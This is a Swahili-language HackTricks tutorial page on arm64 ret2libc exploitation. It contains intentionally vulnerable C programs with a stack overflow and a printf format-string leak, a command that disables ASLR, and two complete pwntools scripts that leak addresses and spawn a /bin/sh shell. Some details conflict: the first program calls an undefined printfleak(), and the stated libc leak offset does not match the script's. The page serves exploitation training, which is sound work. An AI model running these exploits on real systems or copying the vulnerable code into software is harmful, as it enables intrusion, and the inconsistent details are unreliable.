Ret2lib + Printf leak - arm64

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Ret2lib - Kizuizi cha NX kwa ROP (bila ASLR)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Kusanya bila ya canary:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Pata kigezo

Kigezo cha x30

Kwa kutumia pattern create 200, kuichanganua, na kuangalia kwa kigezo cha pattern search $x30 tunaweza kuona kwamba kigezo ni 108 (0x6c).

Tukitazama kazi kuu iliyovunjwa tunaweza kuona kwamba tungependa kupiga maagizo ya kwenda moja kwa moja kwa printf, ambayo kigezo chake kutoka kwenye mzigo wa binary ni 0x860:

Pata mfumo na string ya /bin/sh

Kwa kuwa ASLR imelemazwa, anwani zitakuwa zile zile daima:

Pata Vifaa

Tunahitaji kuwa na x0 anwani ya string ya /bin/sh na kuita system.

Kwa kutumia rooper kifaa cha kuvutia kilipatikana:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

Shambulizi

Kifaa hiki kitapakia x0 kutoka $sp + 0x18 na kisha kupakia anwani za x29 na x30 kutoka sp na kuruka kwenda x30. Kwa hivyo, kwa kifaa hiki tunaweza kudhibiti hoja ya kwanza na kisha kuruka kwa mfumo.

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - Kupita NX, ASLR & PIE kwa kutumia kuvuja kwa printf kutoka kwenye steki

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Kusanya bila canary:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE na ASLR lakini hakuna canary

  • Raundi 1:

  • Kuvuja kwa PIE kutoka kwenye stack

  • Kutumia bof kurudi kwa main

  • Raundi 2:

  • Kuvuja kwa libc kutoka kwenye stack

  • ROP: ret2system

Kuvuja kwa Printf

Kuweka kizuizi kabla ya kuita printf inawezekana kuona kuwa kuna anwani za kurudi kwa binary kwenye stack na pia anwani za libc:

Kujaribu offsets tofauti, %21$p inaweza kuvuja anwani ya binary (PIE bypass) na %25$p inaweza kuvuja anwani ya libc:

Kwa kutoa anwani iliyovuja ya libc na anwani ya msingi ya libc, inawezekana kuona kuwa offset ya anwani iliyovuja kutoka kwa msingi ni 0x49c40.

Offset ya x30

Tazama mfano uliopita kwani bof ni sawa.

Tafuta Gadgets

Kama katika mfano uliopita, tunahitaji kuwa na x0 anwani ya string /bin/sh na kuita system.

Kutumia rooper gadget nyingine ya kuvutia ilipatikana:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

Shambulizi

Gadgeti hii itapakia x0 kutoka $sp + 0x78 na kisha itapakia anwani za x29 na x30 kutoka sp na kuruka kwenda x30. Kwa hivyo na gadgeti hii tunaweza kudhibiti hoja ya kwanza na kisha kuruka kwa mfumo.

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated